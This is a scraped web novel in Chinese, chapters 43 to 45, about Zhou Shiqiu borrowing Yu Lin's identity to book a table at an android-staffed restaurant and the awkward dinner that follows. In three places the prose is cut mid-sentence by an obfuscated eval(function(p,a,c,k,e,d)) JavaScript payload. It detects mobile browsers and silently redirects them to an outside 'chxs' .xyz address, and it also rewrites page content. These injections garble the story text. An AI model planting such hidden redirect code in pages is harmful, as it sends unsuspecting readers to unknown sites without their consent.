沿着碎石小路一直往里走,抵达屋子正门时,她一眼便看见镶嵌在一侧墙壁里的玻璃橱窗。 一格一格的橱窗里,展示着微观造景。 周拾秋好奇地凑到近处,趴在玻璃上往里看,只见每一个微观造景都是这个小院的缩影。 但每个景色又有区别,有一年四季,有岁月更迭,无一例外的是这栋房子,以及院子里的三个小人儿,两男一女。 雨中的庭院,女孩踩水奔跑,身后跟着两男孩,打着雨伞,紧追不舍。 秋天的庭院,女孩在树下荡着秋千,两男孩拿着扫帚清扫落叶。 积雪的庭院,女孩堆雪人,两男孩打雪仗。 夜晚的庭院,女孩拿出烧烤架,露天烧烤,一男孩用天文望远镜观测星空,一男孩坐在屋檐下作画。 …… 围观造景上贴着年份标签,从L442年到L460年,整整十八个寒暑,几乎每一年对应一处景。 每一个微观造景都是这三人的一个故事,女孩扎着两条麻花辫,男孩一人看上去大大咧咧,一人看起来斯文柔弱。 周拾秋逐一看过去,随着时间前进,里面的小人儿逐渐长大,各自也有了属于他们自己的兴趣爱好,唯一不变的是他们之间相处的氛围。 正看得出神,一只手轻轻碰触了周拾秋的肩,她吓得蹦了起来,扭头对上一张笑脸,嘴角两个浅浅的梨涡若隐若现。 原来是门外那个女服务生。 周拾秋还不知道她的名字,可既然已经借庾林的身份装熟,她也不好当面询问对方名字,做出令人起疑的举动。 不过,这女仿生人怎么走路一点声音都没有? 周拾秋完全没有注意到,女服务生何时追上来,被吓了一跳后,只能礼貌性微笑,指了指橱窗,毫无营养地评价道:“做得真好……” 女服务生看了看四周,压低声音,带着点紧张情绪,对周拾秋说:“小林哥,你怎么来了?我还以为那次你跟远哥大吵一架后,把我和远哥都忘了喃……” 嗯?还有这剧情? 面对女服务生突然发出的质疑,周拾秋整个人懵了。 她感觉眼前这女服务生就跟失忆了一样,对于她为何会出现在这个地方,没有一点印象。 “呃……闲来无事,随便逛逛,不知不觉就走到这儿来了。”周拾秋小心翼翼地将之前的话又重复了一遍。 女服务生一听,露出焦虑的表情,伸手挽住周拾秋的胳膊,将她拉回院子里,直到远离了正门,才开口解释:“小林哥,你先别急,等我去探探远哥的口风,我可不希望你们又吵起来。” “你不是问过你远哥了吗?”周拾秋盯着眼前女服务生,一脸诧异。 正在说话时,房门被推开,门后探出一张脸,与女服务生一模一样,两条麻花辫,微笑时嘴角两个浅浅的梨涡若隐若现。 “晓雨别闹,刚才晓风跟远哥说过了。”开门的女服务生轻声呵斥。 晓雨松开挽住周拾秋胳膊的手,沮丧低下头,脚尖轻轻踢着地上石子,闹脾气一般向开门的女服务生抱怨:“晓雪就知道用远哥压我,你难道想看小林哥与远哥争吵吗?反正我不想。” 扔下这句话,晓雨便跑开了,带着焦虑和担忧,拿起水管到院子里冲花草撒气。 晓雪没有理会,开门朝周拾秋招了招手,“晓雨就那样,你别在意,远哥在厨房,我带你去。” 周拾秋看看院门方向,又看看院子里生闷气的晓雨,再看看转身进屋的晓雪,震惊于三人长相完全没有区别。 过了好一会儿,她才反应过来,这三个服务员,是以某个女孩为原型创造的仿生人。 可一次造三个,不知这位客户是有钱没地儿花,还是有什么特殊癖好。 带着一言难尽的疑惑,周拾秋跟在晓雪往屋内走。 一楼是餐厅,摆着五六张圆桌,因为没有营业,所以并未开灯,可四周几扇落地大窗提供了足够光照,让餐厅里不至于阴暗。 周拾秋在晓雪的带领下,绕过前台,有一截旋转楼梯直通二楼,角落里,还有一道门,大门敞开,门上挂着半截素色布帘,帘上四个弯弯扭扭的手写字——厨房重地。 那字体有些幼稚,看上去一点威慑力都没有。 晓雪在门前停下了脚步,掀开布帘,抬手指了指路,道:“远哥在里面等你。” 周拾秋咽了咽口水,在晓雪的注视下,缓步走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861629|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入了厨房。 布帘在身后放下,周拾秋忍不住回头多看了一眼,莫名有种深入虎穴的危机感。 咔嗒——咔嗒—— 一阵有节奏的切菜声传来,周拾秋心头一紧,贴着墙往里走了两步。 一个男人正背对着房门方向,在砧板上认真切着什么东西,听见有人进来,没有回头,声音带着一分尖酸。 “庾家少爷不是不屑来我这小店吗?怎么今天有这闲情逸致?来看看皆来食被我经营倒闭了没?” 从男人的言语中,周拾秋勉强抓住三点信息:其一,这人认识庾林,应该就是三名仿生人服务生口中的“远哥”;其二,他与庾林有矛盾;其三,他就是皆来食的店主。 原本觉得捡了便宜的周拾秋顿感不妙,心里盘算着该如何避免受到庾林的波及,思来想去,避重就轻回了句:“慕名而来,想订个座。” 切菜声瞬间消失,店主动作停顿片刻,终于放下菜刀,洗了洗手,擦干水渍,转过身来,上下打量周拾秋。 店主约莫三十来岁,留着络腮胡,一身整洁,神情恹恹,整体给人一种颓丧感。他靠坐在橱柜上,浑身放松,大胆试探:“有喜欢的人了?” 周拾秋故作镇定:“为什么这么问?” 店主闻言大笑起来,“为了讨好喜欢的人,做自己不喜欢的事,除此以外,我想不出别的理由,能让庾家少爷放下身段来见我。” “你会卖我这个人情吗?”周拾秋顺水推舟。 “为什么不呢?”店主耸耸肩,答得轻巧。 周拾秋顿感惊喜,笑容自然浮上脸颊,刚想道谢,又听店主补充道,“只要你同意与我的生意。” “生意?”周拾秋只能靠猜,“你是指定制仿生人?” “我还以为两年多不见,你就把过去的事全忘干净了呢。”店主露出颓废的笑,“我只有这一个要求,愿不愿意随你。”撂下这句话,店主又转身处理食材,一副漠不关心的状态。 对于店主与庾林之间有什么瓜葛,周拾秋并不清楚,但如果只谈生意,似乎并不损害庾林的利益。 “赚钱的事,没道理拒绝吧?” “庾木木以前也没想帮夜白鹭澄清,我干嘛要为他着想?” 周拾秋暗中说服了自己,于是一口答应:“行!明天中午订个座,七八个人,你可别反悔。” 此话一出,店主手上动作又停顿下来,并未转身,肩膀抖动,发出一阵意义不明的笑声,笑了好一会儿才开口。 “你真的变了……放心,我与你不同,我要的从未改变。明天中午12点,敬候大驾光临。我也很好奇,当初拒绝筱晴的人,如今会看上什么样的女子。” 筱晴又是谁? 被庾林拒绝的女生? 八卦的灵魂在崛起,周拾秋竖起耳朵,想要听到更多的消息。 然而,店主说完这句让人浮想联翩的话后,便叫来晓雪送客。 稀里糊涂的一场约定后,周拾秋离开了皆来食。 整个过程都仿佛一场意外,上演着她根本不知道的剧情,然后莫名其妙完成了她原本的计划,实在有些不真实。 等回到佑民医院,周拾秋才背着康管家,给庾林发送了任务完成申请。 43. 第043章 重新回到自己身体时,已是上午10点。 一睁眼,周拾秋险些以为自己回错了地方。 目之所及之处,皆是鲜花盛开之地,床边、桌椅、地板、门后……全被花束占领,不知情的或许以为花店转移了位置。 “庾木木!” 周拾秋的房间中传出一声怒吼,齐绮闻声推门而入,一脸诧异地望着被鲜花围在床上无处下脚的周拾秋。 “这些都是他搞的吧?” 周拾秋低着头在覆盖了整个地板的“花丛”中寻找着拖鞋。 齐绮噗嗤笑了一声,道:“托他的福,我们今天可以歇业一天。” “啥意思?” 终于从“花丛”缝隙中打捞出拖鞋的周拾秋,一脸嫌弃地抖了抖藏进鞋里的花瓣。 齐绮摊开双手,伸展胳膊,向两边优雅地划出一道弧度,让周拾秋好好看看她整个房间的花,“花都被他全包了,我还怎么做生意?” 周拾秋拧着眉头,“他给钱了吗?” 齐绮点点头,然后冷笑一声:“呵呵,刷了你的卡。” “庾木木!” 房间里爆发出一阵怒吼。 齐绮十分明智地提前堵住了耳朵,等到尖锐的吼声过去,才漫不经心地放下手,问:“你又怎么得罪这位金主了?” 周拾秋此刻正趴在床边研究着地上的花还能不能收拾收拾,放回店里重新出售,嘴上嘟囔:“难道因为我一直霸占他身体?” “你们什么时候换的?”齐绮问。 “昨晚。” “这么久?他又让你干嘛了?凶手不是已经落网了吗?” “谁知道他发什么神经,半夜看恐怖电影被吓到,害我被传送过去。”周拾秋抱怨一通,接着又露出狡黠的笑,“不过,也多亏了他发神经,我刚才把皆来食订座的事搞定了。” 齐绮一脸惊讶,穿过“花丛”的阻碍,坐到了周拾秋的床上,用严厉的口气质问:“你没用异能吧?” “哎呀,你怎么对我一点信任都没有呢?我发誓,绝对没有!”周拾秋竖起三根手指,对天发誓,“我也没想到,庾林跟皆来食的店主认识,那店主想找庾林定制仿生人,作为交换,同意明天中午我们去用餐。” 说完这话,周拾秋一脸得意,等待着齐绮的夸奖。 “还有这么巧的事,那真得感谢庾先生。”齐绮脸上并无波澜,格外理智地回应。 这种反应周拾秋并不满意,感觉好像被庾林抢去了功劳,于是一脸不满地挥手赶走齐绮,转头又想起得向庾林讨债。 周拾秋翻找起手机,慌慌忙忙给庾林打去了电话。 电话刚接通,周拾秋不等对面说话,便气势汹汹地吼道:“还钱!” 庾林:“怎么?不喜欢?” 周拾秋:“庾木木,你能不能别这么幼稚?” 庾林:“什么意思?” 周拾秋:“你小心眼要报复,我能理解,可用我的钱,买我的花,报复我的房间,是不是太过分了点?” 庾林:“报复?” 周拾秋:“不是吗?那你打算如何解释?” 庾林:“……改善度假村环境可以吗?” 周拾秋:“可以,请住客先生自行支付消费。” 庾林:“知道了,乌鸦小姐眼睛里就只有钱。” 周拾秋:“可你用的是我的钱啊,大哥。” 庾林:“……双倍还你。” 周拾秋:“需要把花给你送过去吗?” 庾林:“不必,不喜欢就扔了。” 周拾秋:“这么浪费?” 庾林:“那你留着。” 周拾秋:“……我也不让你吃亏好吧,明天中午12点,送你个惊喜。” 庾林:“惊喜?不会是惊吓吧?” 周拾秋:“不要算了。” 庾林:“我没说不要,只是没想到乌鸦小姐还能为我准备惊喜,理由是什么?” 周拾秋思索片刻,胡诌道:“感谢你救了我一命。” 庾林沉默了一会儿,声音不带情绪:“行,明天来接我。” 周拾秋爽快答应:“可以!” 挂断电话,周拾秋庆幸康管家没有起疑,因此也没有向庾林汇报她早上的行动轨迹。 不一会儿,她便收到了庾林的汇款,真如约双倍奉还了买花的钱。多赚的钱已经够周拾秋请庾林吃顿昂贵的大餐,可周拾秋显然并不打算自己出钱。 转头,周拾秋就给何洲发送了私信,将敲定皆来食预约的事告诉了何洲,并提醒他约清悦明天中午一同前往皆来食。 至于约人的理由,周拾秋也替他想好了,就说是何洲的小舅舅出院庆祝会订在了皆来食,何洲想起清悦的研究方向是餐厅经营,便求了两个名额一起去。 而这顿大餐的消费,自然由何洲来买单。 【何洲:小舅舅也去?】 【乌鸦:对啊,免得你意图过于明显,直接被拒。】 周拾秋答得小心翼翼,毕竟她藏了私心。 一方面是借了庾林的身份才敲定这件麻烦事,她得还个人情,请庾林吃饭;另一方面是庾林不出场,店主恐怕不会让他们进店,毕竟这场交易本就涉及庾林的定制仿生人生意。 【乌鸦:怎么了?这个方案你不满意?】 【何洲:不是,你的方案我很满意,只是小舅舅能同意吗?他恐怕不太愿意去那里……】 见何洲欲言又止,周拾秋立马意识到,何洲知道点内情,赶紧趁机打听。 【乌鸦:你是说你小舅舅认识皆来食的店主?】 【何洲:嗯,店主吕鸿远,远叔,小舅舅一起长大的好兄弟。】 【乌鸦:你干嘛不早告诉我,有内部关系还愁不能预约?】 【何洲:唉,一言难尽,以前是没问题,现在嘛……】 【乌鸦:现在怎么了?】 【何洲:远叔有个妹妹,吕筱晴,跟小舅舅青梅竹马,两年前意外身亡,后来小舅舅好像跟远叔闹得不愉快,断了联系,我哪儿好意思去求人情。】 周拾秋想起在餐厅橱窗里看到的微观造景,那里面的三个小人,或许就是庾林和吕家兄妹。 莫非吕鸿远想要定制的仿生人,就是他妹妹? 而吕筱晴似乎与庾林有感情纠葛。 一瞬间,周拾秋想起了那三个长得一模一样的仿生人服务生,心中疑惑更甚。 吕鸿远做这么多仿生人干嘛呢? 【何洲:所以我说小舅舅可能不愿意去,那你这方案就行不通。】 【乌鸦:放心,你小舅舅已经同意了。】 【何洲:真的假的?兄弟,你可真牛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867934|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !】 周拾秋应付着何洲的吹捧与感激,心里却叫苦不迭。 她好像将这个谎越撒越大了,谁都不知道真实的情况如何,又都成了组成这盘棋局的棋子。只是不知明天,这些棋子会不会不受控地毁掉整盘棋局。 跟何洲交代完毕后,周拾秋又打了个电话,因为这场戏的演员还未备齐。 第二天上午10点,周拾秋开车,载上齐绮,往自由区开去。 为了不引人注意,二人又换上了理想者的装扮。 抵达医院后,周拾秋又给庾林打了个电话,催促他下楼出发。 等了好一会儿,庾林才慢吞吞地出现,一如既往,围巾裹面,手戴一双黑色皮手套,每当有人与他擦肩而过,他都会下意识地往边上闪避。 周拾秋轻轻叹了一口气,迅速下车,打开后座车门,然后拉住庾林胳膊,一把将人推进车里,关上门,回到驾驶座,发动汽车。 整套动作毫不拖泥带水,就像演练了许多遍的绑架一般,成功接上庾林,向目的地驶去。 等周拾秋停好车,带着齐绮和庾林站在皆来食院门外时,庾林的脸都绿了。 然而这份“惊喜”还没有完。 今天那个叫晓风的女服务生并不在院门旁,写着“本月不见客,勿扰!”的木板孤零零地倚在墙边,四周仍然有不少不死心者在张望,除此以外,院门外还出现了几张熟面孔。 他们分为两个阵营,分站在院门两边,一边是何洲和清悦,另一边是楚君和同部门的两位女同事。 楚君和两位女同事一见到庾林,羞涩地上前打招呼,何洲一脸惊恐,连忙出手阻拦,将自己化作栅栏。 庾林没有理会公司员工的热情,有些头疼,扶着额头,低声质问:“这就是你说的惊喜?” 周拾秋尴尬地笑了两声,逃避着庾林想要杀人的眼神,跟主持人一样,大方走到最前面,拍了拍手,吸引众人注意,清清嗓子。 “感谢各位百忙之中抽空参加我们庾总监的庆祝宴,废话不多说,我们赶紧进去吧。” 说着周拾秋按响了门铃,一时间,附近所有人的视线都向院门聚集。 不一会,院内传来一阵轻快的脚步声,院门咯吱一声被推开,扎着两个麻花辫的姑娘从门后探出头来,视线扫视一周,最后落在了庾林脸上。 这个周拾秋分不清是谁的女服务生,冲着庾林嫣然一笑,调皮地冲他招招手,然后敞开门,站到一旁,将手臂往一侧展开,做出一个“请”的动作,嘴里甜甜说道: “小林哥的客人们,请进吧,欢迎光临皆来食,祝各位有一段美妙的用餐时光。” 周拾秋没有立马进入,而是让到一旁,示意其他人先进门。 楚君见状,十分有眼力见儿,立马招呼庾林先走。 庾林却冷漠地摇了摇头,轻轻挥了挥手,面色阴沉,一副不愿进门的表情。 三位职员低头躲到一旁,大气都不敢出,谁都能看出庾林心情不悦。 何洲一脸诧异地望向周拾秋,有些看不懂如今的局势。 周拾秋心头一紧,担心庾林闹脾气,直接转身离开,吓得她赶紧跑回庾林身旁,暗中拽住庾林的袖子,悄声劝道:“来都来了,你不会这么不给面子吧?” 一抬眼,撞上庾林玩味的眼神,仿佛在说:“如果是呢?” 44. 第044章 对庾林,周拾秋就是想用强也不行,只能耐着性子,好声好气劝说:“我是真心想请你吃顿饭,你不会真打算走吧?别啊,我好不容易预订的位子。” 庾林瞥了一眼四周,轻哼道:“请我吃饭?那这些人是?” “人多热闹嘛,庆祝你出院。”周拾秋厚着脸皮,强词夺理。 “我怎么不知道我出院了?”庾林不客气地拆穿。 “呃……提前预祝?”周拾秋找补。 二人僵持不下,四周气氛也变得微妙起来。 虽然听不到二人在说什么,但凭借察言观色的能力,三名职员也意识到问题。他们私下以眼神交流,像是犯了错,担忧着今后的前程。 其中一名稍微年长的女职员忍不住开口,试图先撇清关系:“总监,昨天周秘书说要给您办庆祝宴,让部门里派两三个代表出席,我们还以为您知情,真不知道这是周秘书私自决定的事。” 另一位小年轻不谙世事,虽觉得甩锅不厚道,可听别人说过,庾总监是公司里最不能得罪的人,也只好附和前辈的话: “周秘书大概也是好心,只是做事不谨慎,没想到先跟您请示。” 楚君是昨天接到周拾秋电话的人,其他人也是他联系的。 当时在聊天群里说了这个事,就这两位女同事响应得最激烈,他才最终决定带她们一起来。 可现在看来,这决定似乎有误。 她俩将自己撇了个干净,脏水却全往周拾秋身上泼,又不是周拾秋逼她们,说到底,还不是巴结领导的意图在作祟。 楚君实在不忍心落井下石,却也不愿意当出头鸟,一阵纠结后,终是沉默。 何洲见情况不对,高声嚷嚷:“小舅舅,都到门口了才说不进去,这让我们周秘书面子往哪儿搁?” 听到被点名,周拾秋汗流浃背,自己似乎突然被推上了焦点位。 她气恼地瞪了一眼身后的几人,他们都等待着庾林表态。 庾林会顾及她的面子吗? 不会! 这些看热闹不嫌事大的家伙,纯粹给庾林递上了一把刀。周拾秋仿佛已经感受到庾林浑身散发的恶意,或许下一秒,庾林就会不留情面地转身离开。 暗中拽住庾林袖子的手更紧了,周拾秋甚至想动用异能,可惜对庾林无效,只能愁着一张脸,思考着该如何对付庾林。 没注意用力的方向,外套险些被周拾秋拽得滑落肩膀,庾林一惊,匆忙压住肩头。 看着周拾秋咬着手指甲,暗自盘算的模样,庾林微微扬起嘴角,轻轻打落她的手,也自然打断了她的思考。 周拾秋感觉被冒犯,蹙着眉,抬眼瞪向庾林。 “谁说我不进去了?我不喜欢走前面,你们先进。” 庾林突然开口,漫不经心的声音打消了在场所有人的顾虑,他低头似笑非笑地凝视着周拾秋,“秘书小姐的心意,我怎么好意思拒绝呢?” 此话一出,方才撇清关系的人瞬间成了小丑,努力用微笑掩饰着脸上的尴尬。 楚君站出来缓和气氛,“怪我没有眼力见儿,那我们先进去了。”他恭敬地向庾林请示后,便推着两位女同事往院里走。 年长的女职员处事老练,边走边开启恭维与客套模式:“我们都沾了庾总监的光,这家店我老早就想试试了,一直没有机会。” “对呀,谢谢庾总监。” 另一个小年轻不甘人后,随声附和,声音甜得腻人。 清悦这个名义上前来蹭饭的女大学生,此刻不好默不作声,于是带着些拘谨向庾林道谢:“感谢庾先生能允许我这个外人参加聚会。” 何洲一下就不高兴了,明明是自己出钱,好处却让小舅舅占尽。他苦着一张脸,用身体挡住清悦的视线,将人往院里请,嘴上嘟囔着: “唉,我们又不是他员工,别管他,进去看看吧。” 不过片刻功夫,门外就只剩周拾秋、齐绮和庾林了。 皆来食四周围观的人又开始眼红,在嫉妒的话语爆发前,周拾秋赶紧拉着齐绮和庾林进了门。 漫步在院中,庾林低声暗讽:“你的惊喜最好到此为止。” “没了,没了,我是什么十恶不赦之徒,天天坑你吗?”周拾秋眨眨眼,展示着人畜无害的一面。 就算真有坑,也不可能现在告诉你。 等这顿饭吃完,谁还管你跟店主的纠纷啊! 周拾秋暗自打着如意算盘,每当想起庾林就是五年前那个人质,她所剩无几的愧疚与良心就会被幸灾乐祸吞噬。 正当她以为此事就此翻篇时,庾林冷不防又提出疑问: “想在这家店吃顿饭可不容易,不知乌鸦小姐又用了什么手段?” 周拾秋目光游离,支支吾吾半晌,索性指了指前方尚不知情的何洲,道:“多亏了你的好外甥。” “小洲?”庾林将信将疑。 “肯定是有钱能使鬼推磨嘛,小小餐厅,轻松拿捏。”周拾秋随口胡诌。 原本担忧庾林继续追问下去,没想到他释然地点了点头,小声嘀咕:“没乱用异能就行。” “嗯?” 他的反应反倒令周拾秋疑心。 “没什么,看路,前面都在等你。” 庾林从身后推了周拾秋一把,于是他自己落在了队伍最后面。 他走得很慢,一边走一边环顾四周,表情冷淡,可眼底藏着点不容察觉的落寞。 周拾秋与齐绮走在他前面,跟随整支队伍往餐厅的方向走,所有人都欣赏着院中别具一格的景色。 院中花草树木搭配看似随意,却又处处透着点精心设计的巧思,从中可以感受出设计者对这个院落倾注的爱意。 周拾秋表面在看景,实则不时观察着身后庾林的表情,特别是三个女服务生靠近时,她想从庾林脸上看出点不一样的情绪。 可惜让她失望了,不管先后出现的三位女孩对他是热情,还是客气,亦或是羞涩,庾林冰冷的表情从未改变过。 比起这三位长相相同的女服务生,周拾秋有时觉得庾林更像仿生人,空有人类的血肉,心却像块石头。 众人在女服务生的引导下,顺利在一楼餐厅入座。 整个大厅里只有他们这一桌,显得有些冷清。 与周拾秋昨日来时不一样,今日餐厅灯光明亮,为整个场景增加了些许暖意。 三位女服务生都在为他们服务,她们每次靠近餐桌时,周拾秋都努力分辨着来人是哪一个。 这三人从样貌上根本无法区分,唯独性格稍有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871592|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差异。 晓风是出门迎客的女孩,性格外向活泼,朝气蓬勃的笑容时刻挂在脸上,跟人说话时,隐约透着点孩子气。 晓雨是院内指路的女孩,腼腆中藏着点多愁善感,特别当她看见庾林时,脸上的忧愁就没有消过。 晓雪是大厅内接待的女孩,比前两位更加稳重,明明是相同的长相,可气质上略微成熟,说话做事更有分寸感,可这种分寸感会令人觉得她跟谁都不熟。 然而在这间餐厅里,也就周拾秋和齐绮看到三位女服务生时会觉得新奇,其他人非常自然地接受着服务,注意力都放在菜品上,几乎不会对女服务生侧目。 “你在看什么?” 庾林就坐在周拾秋左手边,见她频频回头张望,终于忍不住开口。 周拾秋战术性端起水杯,喝了口水,笑道:“呵呵,跟三胞胎似的,挺稀奇。” 在场两名女职员闻言“噗嗤”笑了一声,强压着嘴角,眼神交流。 楚君替她解释:“哈哈,正常,周秘书来自禁仿区,自然没见过长相一样的仿生人,多看看就习惯了。” 年长的女职员趁机挖苦:“习惯,呵,不容易吧,这世界不就是因为守旧者适应不了新事物才分裂的吗?你也太强人所难了吧。” “守旧者?” 清悦原本与何洲聊着菜品,突然听见这么一句话,注意力不由得转移到了周拾秋身上,“周姐姐不是小何的姐姐吗?” 场上气氛瞬间凝固,庾林和三位属下的目光纷纷投向何洲,清悦满是疑问的眼神则锁定周拾秋。 齐绮感觉天都要塌了,捂着耳朵埋着头,主打一个与我无关。 周拾秋与何洲则尴尬地对视着,两人的视线在空气中猛烈碰撞,都想将这口锅扔到对方背上。 庾林无奈地摇了摇头,端起杯子倒上酒,一脸镇定地开口:“我几年前认的干女儿,自然算小洲的姐姐。” 此话一出,所有人闭了嘴。 只有周拾秋和何洲的嘴微张着,怎么也闭不上了。 齐绮刚喝了一口水,这下全喷了出来,猛地一阵咳嗽,咳得自己面红耳赤,她惊讶地看向周拾秋,用唇语询问:“什么时候的事?” 周拾秋与齐绮对视,眼神更加疑惑,茫然地摇了摇头,眼神似乎在说:“别看我,我也不知道。” 在场其他人的态度已然大变,特别是楚君三人,此刻正交头接耳。 楚君:“我不是说过周秘书有后台吗?你们惹她干嘛?” 年长女职员:“一个守旧者能有什么后台,正常人谁能想到是这种后台啊……” 小年轻:“完了,我们是不是得罪权贵了,我不想丢工作啊……” 另一边,这个消息对何洲而言,惊讶是惊讶,可没太大影响,还能掩盖他的谎言,他便顺势对清悦解释道:“对啊,也算亲姐嘛,我姐不太喜欢别人老强调她守旧者身份,所以我没跟你说,哈哈……” 清悦表示理解,笑道:“你小舅舅挺开放。” 唯一风评被害的周拾秋,脸上带着笑,夺过庾林手上酒杯,故作娇嗔:“干爹怎么把这件事说出来了呢?这下大家不都知道我是关系户了吗?” 在无人注意的桌下,周拾秋狠狠踩了庾林一脚,发泄着心中不满。 45. 第045章 这场聚会重新回归平静,众人的注意力也逐渐被上桌的一道道菜品吸引,话题集中在对菜品的评价上。 周拾秋一直以为店主会在不适宜的时候出来搅局,所以这顿饭上半场基本都在观察,完全没放在吃饭这件事本身。 等了许久也不见店主有动静,坐在她右手边的齐绮不时发出赞叹,终于吸引了她的注意力。 周拾秋一直觉得,像皆来食这样的餐厅,多是形式大于内容,光靠营销噱头来吸引眼球,至于味道嘛,未见得有多了不得。 直到她放下担忧与戒备,全身心投入到吃饭这件事上,她对于皆来食的评价似乎彻底改变了。 精挑细选的新鲜食材,在精雕细琢下,成为一件件艺术品,展现着厨师独特的审美。 每一道菜都是一个故事,由酸甜苦辣交织而成,娓娓道来。 清新爽口的相识,香甜似蜜的相处,各奔东西的辛辣,误会悔恨的酸涩,说不出口的苦涩…… 整个用餐的过程,周拾秋仿佛看了一场精彩的演出,那些通过视觉展示在菜品设计上的故事,通过味蕾传递着情绪。莫名让她联想到了橱窗里的微观造景,也让她不由得想起吕鸿远和何洲曾说过的一些话。 周拾秋似乎终于能理解,为何这家店在陵沪市自由区会有如此高的人气。 如果不是没在店主身上嗅出异能气息,她甚至要怀疑店主是个进化者,因此才能将情感注入菜品。 大概只有庾林用餐全程心事重重,每道菜只吃了一口就不再动筷,就像这些菜令他难以下咽。 “不合你口味?” 周拾秋注意到庾林的沉默,低声询问。 庾林摇了摇头,笑而不语,这些菜勾起了一些淡忘的记忆。 席间,三位下属轮番向庾林敬酒,庾林神情虽冷漠,但没有驳了众人的面子,一一回敬。 只是每一杯酒,都没有落入庾林腹中,酒刚倒入杯中,就被周拾秋拦了下来。 “庾总监伤刚好,不宜饮酒,我替他喝了。” 周拾秋豪爽地将一杯杯酒饮尽,余光瞥见庾林难得一脸欣慰,看上去好像觉得她这个干女儿没有白认,她不禁心中偷笑。 ——希望店主找上庾林时,庾林能看在她帮忙挡酒的份上,少找她麻烦。 自从得知周拾秋是关系户后,三位同事对她的态度来了个大反转,刻意讨好,频频敬酒。 等这场聚餐接近尾声,态宇仿生科技的三人皆喝得酩酊大醉,而周拾秋自己也没好到哪儿去,站起身时,只觉轻飘飘的,脚下像踩着棉花。 何洲去结了账,又担负起为态宇仿生科技三人叫车,并送他们上车的重任。 不过他这助人为乐的行为,倒在清悦心里猛刷了一些好感分。 剩下三人最后离开,齐绮扶着周拾秋走在前,庾林跟在后,还未走出餐厅大门,吕鸿远从厨房布帘后探出头,叫住了庾林。 庾林停下脚步,盯着吕鸿远的眼睛看了看,瞬间意识到周拾秋给他惹了麻烦,兴师问罪般看向周拾秋。 周拾秋赶紧将头靠在齐绮肩上,躲避着庾林的视线,嘴里嘟囔:“唉呀,好晕,庾总监,我们到车里等你!”说着冲齐绮打了个手势,挽着她的胳膊往外走。 庾林扶额轻叹,没多说什么,目送着二人离开了餐厅。 逃回车上,周拾秋躺在后座缓缓酒劲,齐绮坐在驾驶座上,打开音乐,耐心等待。 没等一会儿,庾林走了出来。 齐绮探出窗外,冲庾林招了招手,随即发动了汽车。 庾林没往副驾走,径直拉开了后座的门,看着周拾秋横躺在里面,没好气地抬起脚尖,踢了踢周拾秋挡在门边的脚。 周拾秋迷迷糊糊感觉有人踢自己,带着点怨气坐起身,抬眼对上庾林不善的目光,酒意都被吓醒了一半。 她急忙挪了挪身子,为庾林腾出座,装模作样地用手拍了拍座椅上不存在的灰尘,厚着脸皮笑道:“做个仿生人,对我们伟大的庾总监而言,应该不是难事吧?” 庾林没理她,低头上车,对齐绮说了声“回医院”,说完又想到什么,补充了一个“请”字。 一路上,车内气压有些低,庾林似乎生着闷气,半醉半醒的周拾秋坐立难安,齐绮根本不敢往后看,只能将车速提高,尽快结束这段旅程。 周拾秋咬着手指甲,心里打着草稿,想着该如何开口打破这挠人的沉默,心中反复浮现各种话术,却又反复按下删除键。 竟就这么沉默了一路,只有朝气十足的歌曲在车内回荡,对抗着沉闷的气氛。 抵达佑民医院,庾林下了车,但他站在车边没有关门。 “庾总监还有什么吩咐?”周拾秋心虚地问道。 脑中设想着所有糟糕的结局,感觉庾林会报复自己,周拾秋满心戒备。 “下车。”庾林冷冷回了一句。 这是要干嘛?周拾秋看不透庾林的想法,愣在车上没敢动。 齐绮见气氛不妙,转头问:“十秋,你又惹什么麻烦了?” 周拾秋尴尬地冲齐绮笑了笑,没敢开口,她总不能说,为了吃顿饭把庾林卖了,齐绮不知道五年前她与庾林的纠葛,所以一定会骂她。 她没说话,庾林倒是开了口:“没什么,乌鸦小姐帮我接了个大项目,我觉得该让乌鸦小姐有点参与感。” “什么参与感?”周拾秋浑身绷紧。 庾林一本正经回答:“明早10点,客户会到医院来找我,乌鸦小姐不该跟我谈谈项目细节吗?” 周拾秋一脸抗拒:“你们的生意,我也不懂,非参与不可吗?” “乌鸦小姐在帮我接这个项目前,也能这么想就好了。”庾林意有所指。 见周拾秋犹犹豫豫的模样,庾林拍了拍车顶催促:“还是说你想明早再过来?” 看他一副心意已决的模样,周拾秋再琢磨他这句话,感觉不单单是让她明早开车到医院那么简单,大概率又想交换意识,让她去应付吕鸿远。 周拾秋叹了口气,一脸无奈地下了车,让齐绮自己先回去。 走进2003病室,庾林才漫不经心地开始审问:“乌鸦小姐没有什么想跟我解释?” 